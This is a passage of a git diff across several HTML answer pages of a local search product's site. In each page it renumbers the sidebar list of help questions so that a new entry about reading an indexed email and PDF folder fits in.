class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class="active"><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-all-pdfs-in-a-folder.html b/landing/answers/search-all-pdfs-in-a-folder.htmlindex 98b149906..e27187664 100644--- a/landing/answers/search-all-pdfs-in-a-folder.html+++ b/landing/answers/search-all-pdfs-in-a-folder.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-bvh-motion-capture-files.html b/landing/answers/search-bvh-motion-capture-files.htmlindex abe99493c..d90554bae 100644--- a/landing/answers/search-bvh-motion-capture-files.html+++ b/landing/answers/search-bvh-motion-capture-files.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-confluence-html-export.html b/landing/answers/search-confluence-html-export.htmlindex 156ac3e03..136862d85 100644--- a/landing/answers/search-confluence-html-export.html+++ b/landing/answers/search-confluence-html-export.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 